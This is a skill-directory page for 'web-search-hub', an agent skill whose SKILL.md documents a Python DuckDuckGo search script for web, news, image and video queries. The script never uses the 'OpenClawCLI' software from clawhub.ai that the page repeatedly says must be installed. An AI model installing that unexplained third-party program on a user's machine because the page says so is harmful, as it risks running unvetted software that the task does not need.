web-search-hub

Use this skill when users need to search the web for information, news, images, or videos. Triggers include: requests to "search for", "find information about", "look up", "what's the latest on", or any request requiring current web content. Also use for research tasks, fact-checking, finding visual resources, or gathering recent news. Requires OpenClawCLI installation from clawhub.ai. Do NOT use when Claude's built-in web_search tool is more appropriate for simple queries.

3,891 stars

Best use case

web-search-hub is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

Use this skill when users need to search the web for information, news, images, or videos. Triggers include: requests to "search for", "find information about", "look up", "what's the latest on", or any request requiring current web content. Also use for research tasks, fact-checking, finding visual resources, or gathering recent news. Requires OpenClawCLI installation from clawhub.ai. Do NOT use when Claude's built-in web_search tool is more appropriate for simple queries.

Teams using web-search-hub should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/web-search-hub/SKILL.md --create-dirs "https://raw.githubusercontent.com/openclaw/skills/main/skills/anisafifi/web-search-hub/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/web-search-hub/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How web-search-hub Compares

Feature / Agentweb-search-hubStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

Use this skill when users need to search the web for information, news, images, or videos. Triggers include: requests to "search for", "find information about", "look up", "what's the latest on", or any request requiring current web content. Also use for research tasks, fact-checking, finding visual resources, or gathering recent news. Requires OpenClawCLI installation from clawhub.ai. Do NOT use when Claude's built-in web_search tool is more appropriate for simple queries.

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

Related Guides

SKILL.md Source

# Web Search Hub

Search the web using DuckDuckGo's API. Supports web pages, news articles, images, and videos with customizable filtering and output formats.

⚠️ **Prerequisite:** Install [OpenClawCLI](https://clawhub.ai/) (Windows, MacOS) and run `pip install duckduckgo-search`

**Installation Best Practices:**
- If you encounter permission errors, use a virtual environment instead of system-wide installation
- For virtual environment: `python -m venv venv && source venv/bin/activate && pip install duckduckgo-search`
- Never use `--break-system-packages` as it can damage your system's Python installation

---

## Quick Reference

| Task | Command |
|------|---------|
| Basic web search | `python scripts/search.py "query"` |
| Recent news | `python scripts/search.py "topic" --type news --time-range w` |
| Find images | `python scripts/search.py "subject" --type images` |
| Find videos | `python scripts/search.py "tutorial" --type videos` |
| Save results | `python scripts/search.py "query" --output file.txt` |
| JSON output | `python scripts/search.py "query" --format json` |

---

## Core Search Types

### Web Search (Default)

Returns web pages with titles, URLs, and descriptions.

```bash
python scripts/search.py "quantum computing"
python scripts/search.py "python asyncio tutorial" --max-results 20
```

### News Search

Returns articles with source, date, and summary.

```bash
python scripts/search.py "climate summit" --type news
python scripts/search.py "AI regulation" --type news --time-range d
```

### Image Search

Returns images with URLs, thumbnails, dimensions, and source.

```bash
python scripts/search.py "mountain sunset" --type images
python scripts/search.py "abstract art" --type images --image-color Blue
```

### Video Search

Returns videos with title, publisher, duration, date, and URL.

```bash
python scripts/search.py "cooking tutorial" --type videos
python scripts/search.py "documentary" --type videos --video-duration long
```

---

## Essential Options

### Result Count
```bash
--max-results N    # Default: 10, range: 1-unlimited
```

**Examples:**
```bash
python scripts/search.py "machine learning" --max-results 5   # Quick overview
python scripts/search.py "research topic" --max-results 30    # Comprehensive
```

### Time Filtering
```bash
--time-range <d|w|m|y>
# d = past day
# w = past week  
# m = past month
# y = past year
```

**Examples:**
```bash
python scripts/search.py "tech news" --time-range d      # Today's news
python scripts/search.py "research papers" --time-range y # Recent publications
```

### Region Selection
```bash
--region <code>    # Default: wt-wt (worldwide)
```

**Common codes:** `us-en`, `uk-en`, `ca-en`, `au-en`, `de-de`, `fr-fr`

**Example:**
```bash
python scripts/search.py "local events" --region us-en --type news
```

### Safe Search
```bash
--safe-search <on|moderate|off>    # Default: moderate
```

**Example:**
```bash
python scripts/search.py "medical information" --safe-search on
```

---

## Output Formats

### Text (Default)
Clean, numbered results with URLs and descriptions.

```bash
python scripts/search.py "topic"
```

**Output:**
```
1. Page Title
   URL: https://example.com
   Description text here...

2. Next Result
   URL: https://example.com/page
   Description text...
```

### Markdown
Formatted with headers, bold, and links.

```bash
python scripts/search.py "topic" --format markdown
```

**Output:**
```markdown
## 1. Page Title

**URL:** https://example.com

Description text here...
```

### JSON
Structured data for programmatic processing.

```bash
python scripts/search.py "topic" --format json
```

**Output:**
```json
[
  {
    "title": "Page Title",
    "href": "https://example.com",
    "body": "Description text..."
  }
]
```

### Save to File
```bash
--output <filepath>
```

**Examples:**
```bash
python scripts/search.py "AI trends" --output results.txt
python scripts/search.py "news" --type news --format markdown --output news.md
python scripts/search.py "data" --format json --output data.json
```

---

## Image Search Filters

### Size
```bash
--image-size <Small|Medium|Large|Wallpaper>
```

**Example:**
```bash
python scripts/search.py "landscape" --type images --image-size Large
```

### Color
```bash
--image-color <color|Monochrome|Red|Orange|Yellow|Green|Blue|Purple|Pink|Brown|Black|Gray|Teal|White>
```

**Example:**
```bash
python scripts/search.py "abstract art" --type images --image-color Blue
```

### Type
```bash
--image-type <photo|clipart|gif|transparent|line>
```

**Example:**
```bash
python scripts/search.py "icons" --type images --image-type transparent
```

### Layout
```bash
--image-layout <Square|Tall|Wide>
```

**Example:**
```bash
python scripts/search.py "wallpaper" --type images --image-layout Wide
```

---

## Video Search Filters

### Duration
```bash
--video-duration <short|medium|long>
```

**Example:**
```bash
python scripts/search.py "recipe" --type videos --video-duration short
```

### Resolution
```bash
--video-resolution <high|standard>
```

**Example:**
```bash
python scripts/search.py "tutorial" --type videos --video-resolution high
```

---

## Common Workflows

### Research a Topic

Gather comprehensive information across multiple search types:

```bash
# Web overview
python scripts/search.py "machine learning" --max-results 15 --output ml_web.txt

# Recent news
python scripts/search.py "machine learning" --type news --time-range m --output ml_news.txt

# Tutorial videos
python scripts/search.py "machine learning tutorial" --type videos --output ml_videos.txt

# Visual examples
python scripts/search.py "machine learning diagrams" --type images --max-results 20 --output ml_images.txt
```

### Track Current Events

Monitor breaking news on specific topics:

```bash
python scripts/search.py "election results" --type news --time-range d --format markdown --output daily_news.md
```

### Find Visual Resources

Search for images with specific requirements:

```bash
python scripts/search.py "data visualization" --type images --image-type photo --image-size Large --max-results 30 --output viz_images.txt
```

### Fact-Check Information

Verify claims with recent sources:

```bash
python scripts/search.py "claim to verify" --time-range w --max-results 20 --output verification.txt
```

### Market Research

Gather business intelligence:

```bash
python scripts/search.py "electric vehicle market 2025" --max-results 25 --output market_overview.txt
python scripts/search.py "EV industry" --type news --time-range m --output market_news.txt
```

### Academic Research

Find scholarly resources:

```bash
python scripts/search.py "quantum entanglement" --time-range y --max-results 30 --format markdown --output research.md
```

---

## Implementation Guidelines

When users request web searches, follow this approach:

### 1. Identify Intent
- What content type? (web, news, images, videos)
- How recent? (use `--time-range` for current info)
- How many results? (adjust `--max-results`)
- Any special filters? (size, color, duration, etc.)

### 2. Configure Search
```bash
python scripts/search.py "query" \
  --type <web|news|images|videos> \
  --max-results <N> \
  --time-range <d|w|m|y> \
  [additional filters]
```

### 3. Choose Format
- **Text:** Quick reading, immediate review
- **Markdown:** Documentation, formatted reports
- **JSON:** Further processing, automation

### 4. Execute and Process
```bash
# Run search
python scripts/search.py "query" [options] --output results.txt

# Read results if needed
cat results.txt

# Extract URLs or combine multiple searches
```

---

## Best Practices

### Search Strategy
1. **Start specific** - Use clear, targeted queries
2. **Use time filters** - Apply `--time-range` for current topics
3. **Adjust result count** - Start with 10-20, increase if needed
4. **Choose right type** - News for current events, web for general info

### Output Management
1. **Save important searches** - Use `--output` to preserve results
2. **Use appropriate format** - JSON for automation, markdown for docs
3. **Organize files** - Create folders for multi-search research

### API Usage
1. **Avoid rapid requests** - Space out searches to prevent rate limiting
2. **Be efficient** - Use filters to get better results with fewer searches
3. **Respect limits** - Don't hammer the API unnecessarily

---

## Troubleshooting

### Installation Issues

**"Missing required dependency"**
```bash
# Standard installation
pip install duckduckgo-search

# If you get permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install duckduckgo-search
```

**Important:** Never use `--break-system-packages` flag as it can corrupt your system's Python installation. Always use virtual environments for isolated package management.

**"OpenClawCLI not found"**
- Download from https://clawhub.ai/
- Install for your OS (Windows/MacOS)
- Verify installation: `openclaw --version`

### Search Issues

**"No results found"**
- Broaden search terms
- Remove time filters
- Try different query phrasing

**"Timeout errors"**
- DuckDuckGo service may be temporarily unavailable
- Wait a moment and retry
- Check internet connection

**"Unexpected results"**
- DuckDuckGo results differ from Google
- Refine query with more specific terms
- Try adding context to the query

### Rate Limiting

**"Too many requests"**
- Space out searches (wait 1-2 seconds between requests)
- Reduce frequency if making automated searches
- Consider batching queries instead of individual requests

---

## Advanced Usage

### Combining Multiple Searches

Build comprehensive research by combining search types:

```bash
# Create research folder
mkdir research

# Gather all content types
python scripts/search.py "topic" --max-results 20 --output research/web.txt
python scripts/search.py "topic" --type news --time-range m --output research/news.txt  
python scripts/search.py "topic" --type images --max-results 30 --output research/images.txt
python scripts/search.py "topic" --type videos --max-results 15 --output research/videos.txt
```

### Programmatic Processing

Use JSON for automated workflows:

```bash
# Get JSON data
python scripts/search.py "research query" --format json --output data.json

# Process with custom script
python analyze_results.py data.json
```

### Building Knowledge Bases

Create searchable documentation:

```bash
mkdir knowledge-base

# Search related topics
python scripts/search.py "topic1" --format markdown --output knowledge-base/topic1.md
python scripts/search.py "topic2" --format markdown --output knowledge-base/topic2.md
python scripts/search.py "topic3" --format markdown --output knowledge-base/topic3.md
```

---

## Limitations

### Search Capabilities
- Results depend on DuckDuckGo's index (may differ from Google)
- No advanced operators (no `site:`, `filetype:`, etc.)
- Image/video results may be limited compared to web search
- No control over ranking algorithms

### Content Access
- Cannot access paywalled content
- Some sites may block DuckDuckGo crawler
- Dynamic JavaScript content may not be indexed
- Real-time data may have slight delays

### API Constraints
- Rate limiting applies to prevent abuse
- No guaranteed uptime or availability
- Results may vary by region and time
- Some queries may be filtered for safety

---

## Complete Command Reference

```bash
python scripts/search.py "<query>" [OPTIONS]

REQUIRED:
  query              Search query string (in quotes)

SEARCH TYPE:
  -t, --type         web|news|images|videos (default: web)

RESULTS:
  -n, --max-results  Maximum results (default: 10)
  --time-range       d|w|m|y (day, week, month, year)
  -r, --region       Region code (default: wt-wt)
  --safe-search      on|moderate|off (default: moderate)

OUTPUT:
  -f, --format       text|markdown|json (default: text)
  -o, --output       Save to file path

IMAGE FILTERS:
  --image-size       Small|Medium|Large|Wallpaper
  --image-color      color|Monochrome|Red|Orange|Yellow|Green|Blue|Purple|Pink|Brown|Black|Gray|Teal|White
  --image-type       photo|clipart|gif|transparent|line
  --image-layout     Square|Tall|Wide

VIDEO FILTERS:
  --video-duration   short|medium|long
  --video-resolution high|standard

HELP:
  --help             Show all options and usage examples
```

---

## Examples by Use Case

### Quick Searches
```bash
# Simple query
python scripts/search.py "python tutorials"

# Get more results
python scripts/search.py "python tutorials" --max-results 25
```

### Current Events
```bash
# Today's news
python scripts/search.py "AI developments" --type news --time-range d

# This week's headlines
python scripts/search.py "technology" --type news --time-range w --max-results 30
```

### Visual Content
```bash
# Find photos
python scripts/search.py "nature photography" --type images --image-type photo

# Specific color scheme
python scripts/search.py "office design" --type images --image-color Blue --image-size Large

# Transparent icons
python scripts/search.py "social media icons" --type images --image-type transparent
```

### Video Content
```bash
# Short tutorials
python scripts/search.py "quick recipe" --type videos --video-duration short

# High-quality documentaries
python scripts/search.py "space documentary" --type videos --video-resolution high --video-duration long
```

### Saved Research
```bash
# Create research report
python scripts/search.py "climate change solutions" --max-results 30 --format markdown --output climate_report.md

# Gather news archive
python scripts/search.py "tech industry" --type news --time-range m --format json --output tech_news.json
```

---

## Support

For issues or questions:
1. Check this documentation for solutions
2. Run `python scripts/search.py --help` for command-line help
3. Verify OpenClawCLI installation at https://clawhub.ai/
4. Ensure `duckduckgo-search` library is installed

**Key Resources:**
- OpenClawCLI: https://clawhub.ai/
- DuckDuckGo Search Library: https://pypi.org/project/duckduckgo-search/

Related Skills

tavily-search

3891
from openclaw/skills

Use Tavily API for real-time web search and content extraction. Use when: user needs real-time web search results, research, or current information from the web. Requires Tavily API key.

Data & Research

baidu-search

3891
from openclaw/skills

Search the web using Baidu AI Search Engine (BDSE). Use for live information, documentation, or research topics.

Data & Research

Twitter Command Center (Search + Post)

3891
from openclaw/skills

Searches and reads X (Twitter): profiles, timelines, mentions, followers, tweet search, trends, lists, communities, and Spaces. Publishes posts after the user completes OAuth in the browser. Use when the user asks about Twitter/X data, social listening, or posting without sharing account passwords.

Social Media

openclaw-search

3891
from openclaw/skills

Intelligent search for agents. Multi-source retrieval with confidence scoring - web, academic, and Tavily in one unified API.

Data & Research

search-for-service

3891
from openclaw/skills

Search and browse the x402 bazaar marketplace for paid API services. Use when you or the user want to find available services, see what's available, discover APIs, or need an external service to accomplish a task. Also use as a fallback when no other skill clearly matches — search the bazaar to see if a paid service exists. Covers "what can I do?", "find me an API for...", "what services are available?", "search for...", "browse the bazaar".

API Discovery & Integration

search-cluster

3891
from openclaw/skills

Aggregated search aggregator using Google CSE, GNews RSS, Wikipedia, Reddit, and Scrapling.

Data & Research

alphashop-sel-product-search

3891
from openclaw/skills

商品搜索API SKILL:通过关键词搜索发现Amazon/TikTok平台商品。 支持价格、销量、评分、上架时间等多维度筛选条件。 通过 AlphaShop REST API 调用遨虾AI选品系统的商品搜索服务。

E-commerce & Product Sourcing

1688-product-search

3891
from openclaw/skills

1688商品搜索SKILL:提供完整的1688商品搜索能力,包括类目查询、关键词搜索、图片搜索、商品详情、相关性商品、拉取货盘底池等9个核心接口。 支持多语言搜索和商品推荐,使用1688开放平台官方API,统一鉴权,Token全局缓存共享。

E-commerce Sourcing

exa-web-search-free

3891
from openclaw/skills

Free AI search via Exa MCP. Web search for news/info, code search for docs/examples from GitHub/StackOverflow, company research for business intel. No API key needed.

Data & Research

duckduckgo-search

3891
from openclaw/skills

Performs web searches using DuckDuckGo to retrieve real-time information from the internet. Use when the user needs to search for current events, documentation, tutorials, or any information that requires web search capabilities.

Data & Research

youtube-search

3891
from openclaw/skills

YouTube Search API via AIsa unified endpoint. Search YouTube videos, channels, and playlists with a single AIsa API key — no Google API key or OAuth required. Use this skill when users want to search YouTube content. For other AIsa capabilities (LLM, financial data, Twitter, web search), see the aisa-core skill.

Data & Research

autoresearch-pro

3891
from openclaw/skills

Automatically improve OpenClaw skills, prompts, or articles through iterative mutation-testing loops. Inspired by Karpathy's autoresearch. Use when user says 'optimize [skill]', 'autoresearch [skill]', 'improve my skill', 'optimize this prompt', 'improve my prompt', 'polish this article', 'improve this article', or explicitly requests quality improvement for any text-based content. Supports three modes: skill (SKILL.md files), prompt (any prompt text), and article (any document).

Workflow & Productivity